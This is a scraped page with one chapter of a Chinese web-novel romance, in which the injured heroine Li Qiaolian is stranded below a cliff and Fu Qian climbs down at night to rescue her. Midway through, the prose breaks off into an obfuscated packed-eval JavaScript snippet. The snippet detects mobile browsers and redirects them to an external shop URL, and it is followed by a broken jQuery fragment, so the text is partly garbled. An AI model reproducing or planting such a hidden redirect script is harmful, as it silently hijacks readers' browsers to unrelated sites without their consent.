文趣网 > 都市小说 > 村里的爱哭鬼逆袭为妃啦 > 27. 第二十七章
    李巧莲滚落山崖的一瞬间,脑海里闪过许多念头,第一个闪现的念头便是“我要死了”,随即出现的第二念头是“没来得及和苻谦道一声别,太遗憾了”。

    树枝把她的衣服刮出无数道细碎的口子,在她身上脸上留下清晰见血的痕迹。

    就在她绝望赴死的最后关头,她身下传来一阵结实地闷痛,然后她顺势滚出去好几个圈,堪堪在陡峭的石崖边停了下来。

    痛……实在是太痛了,喘了好一会儿,李巧莲以为自己全身骨头都在这一摔中撞散了架。

    等头晕目眩的感觉退去,她一点点睁开眼睛,看到那斑驳的树影,灰白发暗的云层,恍恍惚惚中,她才意识到自己居然还活着。

    她得感谢山壁上延伸出来的密密麻麻的树杈,让她在下坠的过程中有所缓冲,不至于硬邦邦地和下面的山坳接触,这才侥幸捡回一条命来。

    然而她这次摔得比山谷那会儿严重得多,被树枝剐蹭出来的伤口就不说了,她不动则已,一动之下,身上每一处关节都痛得跟断了似地,无论如何都使不上劲儿来。尤其是背后的脊椎,也不知伤到了哪里,她尝试几次,都没能站起来,后背那一块既不能弯腰,也不能转身,感觉身体僵硬僵硬的。

    劫后余生的喜悦顿时被伤痛冲淡,李巧莲努力许久,费了老大劲儿,才把自己挪到了相对安全的山坡下。

    但也无济于事,她掉下来的地方离上面的山道差不多六七丈远,山上又无行人,就算她叫破喉咙也不会有人听见。更别说她现在也就手脚能勉强动动,躯干动弹不得,坐起来都艰难,别提顺着山崖爬回山道了。

    在山坳下枯坐良久,另一种绝望渐渐占据了她的心神。

    她终于能体会苻谦当时掉落山谷的心情了,偌大一座月华山,周围都是遮天蔽日的植被,没有人知道这下面还有个山坳,也不会有人知道她无意中掉下了山坡。就算有人想找她,提着灯笼也未必能寻到这么隐蔽的角落。

    还不如直接摔死了呢,李巧莲郁闷地想。

    她蜷缩起身子,抱住自己的膝盖,山上的温度随着日头西斜而愈发冷了。没有火,没有水,没有食物,可能根本不需要等人来寻她,她就先饿死或者冷死在这阴暗的山沟沟里。

    苻谦会为她着急吗?李巧莲闭上眼睛,叹了口气。

    应该还是会的吧,至少他把自己当妹妹,那多半是会担心的,或许还会来寻她。只是寻不到她的话……寻不到她又能怎样?毕竟对苻谦来说,她只是他生命中的一个过客,反正迟早都是要离开的,苻谦也许伤感一段时间就会把她给忘了吧。

    李巧莲觉得更冷了,她不得不搓搓手,抱紧自己,长长地叹了口气。

    她有点后悔上山前为什么要和苻谦置气了,如果她知道今天就是她见苻谦的最后一面,应该表现得更知情识趣一些才对……至少能给苻谦留下个体贴懂事的好印象,尽管一想到苻谦和那位粉衣姑娘,她还是会觉得心绞痛。

    她是真的很舍不得苻谦啊……也打心底里不愿意看到苻谦和别的女人相处。

    李巧莲把小小的脸蛋架在胳膊上,两行清泪顺着脸颊上的血口子流了下来。天光一寸寸隐没在层山叠翠之间,浓重的暮色自阴影里爬上李巧莲所在的山坡,再一点点将她那孤独的身影吞没。

    满山寂静黝黑,风都吹不进来的山坳里无半分活气。

    李巧莲已经做好了赴死的准备,然而——远远地,断断续续地,一声不太清晰的呼喊从上方的山坡上传来。

    一开始她以为自己出现了幻觉,她听村里的长辈说过,人死之前会看到或听到许多常人见不到的事物或声音,那是魂魄离体前的征兆。

    并且那道缥缈的呼喊一点都听不真切,李巧莲无法分辨是在叫自己,还是上头空山寺传来的钟鼓之响。

    又过了一段时间,山里恢复了肃静,好似那道隐隐约约的呼声从未出现似的。

    李巧莲突然打了个冷颤,想到了一些神神鬼鬼的恐怖传说,顿时觉得身上更冷了。

    “李——巧——莲——”

    第二声呼喊钻进耳朵,比上一次的更近,也更清晰。

    李巧莲侧耳辨别了一会儿,顿时浑身止不住地颤栗起来——是苻谦的声音!

    她一激动,挪动身子想从地上站起来,可脊骨传来的刺痛叫她立刻坐回了原地。

    不行,动不了。

    李巧莲尝试了好几种方式,让自己调整成能仰面向上的姿势,便迫不及待地开口回应苻谦。

    “我在这里……”她大喊。

    可她的声带好似被人卡住了一般,用力挤出喉咙的声音跟猫叫似的,还沙哑得不像话,来一阵风都能把她好不容易发出的声响给吹散了。

    苻谦显然没听见,在上方又喊了一次她的名字。

    “我在这里!”李巧莲清了清嗓子,再次高声回道。

    这回的声音好歹清晰了一些,但仍不是她的正常发声水平,因为她的腹腔使不上劲儿,稍微一用力就会挤压到她的脊背。

    头顶上隐隐绰绰地显出一点光影,李巧莲拼命仰头去看,眼角几乎飙出泪花。

    死里逃生的这段时间,她已做好了再也见不到苻谦的准备。可是老天对她还是仁慈的,居然让她最后还能听到苻谦的声音。

    “我在这里,我在这里!”她忽高忽低地朝上方喊着,也不管苻谦能不能听见自己的话,她只想发出自己能发出的动静去回应苻谦。

    苻谦屏住呼吸,努力分辨空气中飘来的一星半语是否属于李巧莲。

    他山路下到一半,天就黑透了,整个山林不复白日的钟灵毓秀,变得阴森可怖起来。

    然而他还是不肯放过任何一处枝桠角落,打着油灯一寸寸分辨李巧莲可能踏过的每一寸山径。

    直到发现一处明显有折断痕迹的灌木丛,他这才敢肯定自己没找错方向。

    他扶着一棵榉木走到李巧莲滑落的岩石边,提灯向下望去,山坡下密密麻麻的树影,哪能看到李巧莲的身影?

    这可就难办了,大晚上的,就这么放着李巧莲不管,第二天回来说不定只能替她收尸了。可要摸黑下去救人……

    一来白天都未必看得清的乱石崖壁和树影枝杈,到了晚上就跟难以分辨了,要是一个脚滑不小心,搞不好人没救上来,自己也搭进去了。

    二来李巧莲从这个豁口掉下去,但未必就落在这个豁口正下方,叶可能滚到了离豁口很远的某个角落。不然李巧莲的声音也不会那么虚无缥缈,让人分不清是从哪个方位传出来的。

    苻谦就一个人,绳子的长度也有限,若是没找准方位就那么贸贸然下去,救不到人不说,还把自己的体力也消耗了,最后两个人都得搭在下面。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790362|210363||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    幸而李巧莲一直在朝他喊话,虽然苻谦听不清她说的什么,但能这么激动不间断地回应自己的人,非李巧莲莫属了。

    她该吓坏了吧,苻谦想想就觉得心疼,从这么高的地方摔下去,也不知伤到了哪里。一个人被困在山底的滋味苻谦最清楚了,他实在恨自己此前不该撇下李巧莲,不该让她一个人上山。

    早知道山路这么湿滑,苻谦说什么也不会让李巧莲自己走的。

    不过现在说什么都晚了,苻谦焦急地在山道上逡巡,努力支起耳朵分辨李巧莲的声音大概在什么方位。

    今晚厚重的云层盖住了月光,山林就像一块浓得化不开的墨,让苻谦和他手里那一豆灯光显得渺小而微不足道。眼前的山坡好似无底洞,正张开血盆大口迎接着他。

    反复确认方位后,苻谦沿山径走下一段路,提起一口气朝李巧莲喊话,让她尽量自己别出声,节省点力气。但最好找些东西制造出声响,他好判断李巧莲的位置。

    下面的李巧莲应该是听见了,果然停下呼喊。这期间,苻谦把身上的工具放下来,找了棵粗壮的大树,将麻绳的一端固定在树干上,另一端绑在自己身上。

    油灯是没办法拿了,他灭了里面的火苗,放在路边,把铁钎别在后腰就摸索着崖壁往下探。

    中途因为太暗,视物不清,苻谦找不准落脚点,跌倒滑下去好几次。

    等他踩在结实的平坦地面上时,身上的泥泞划伤一点不比李巧莲少。

    李巧莲在附近摸索半天,找到一根软藤条,用它抽打附近的灌木丛给苻谦定位。

    苻谦听到声响就在附近,但仍是按捺着想立即冲过去的心情,小心探索山底的路况,循声一点点挪向李巧莲。

    终于,声音一点点近了,苻谦感觉枝条抽动的哗哗响声就在附近,但周围植被茂盛,他还是看不到李巧莲的身影。

    “巧莲?!”他大喊道。

    李巧莲其实早已听见苻谦攀爬下来的声音,但她同样看不见苻谦在哪里,唯一能做的就是把手里的藤条抽得哗哗响,似是恨不能代替自己奔向苻谦身边。

    “是我,王二哥,我在这儿!”

    在真真切切听到苻谦声音的那一刻,李巧莲话都说不利索,每一个字都带着哭音,如果不是这会儿条件不允许,她早想不管不顾地放声大哭了。

    要知道在半个时辰之前,她还笃定不会有人能找到自己,哪怕是苻谦也不行。

    而苻谦却找来了,李巧莲光是听到苻谦的声音便瞬间有了活过来的感觉,不管他们今晚能不能脱困,她也一点儿都不在乎了。

    苻谦听出李巧莲呆的地方应该还在自己的斜下方,他往前挪了几步,小心翼翼地,手心早已被麻绳和尖利的灌木丛磨出好几个水泡和划痕,可他就跟毫无知觉似的。

    李巧莲的回话带着明显哭腔,苻谦听得整颗心都揪了起来。

    然而他不得不强迫自己保持冷静,告诫自己欲速则不达。他首先得安全地找到李巧莲,才能全须全尾地把人带回去。否则今晚冒的险,付出的努力将会一点意义都没有。

    当他好不容易下探到山坳,用铁钎削去附近的杂草枯枝,终于才从一团糨糊的阴影中,依稀辨认出李巧莲那小小的,模糊的身影。

    “巧莲!”他大叫道,松开绳子,两步跑上去,将人抱了起来。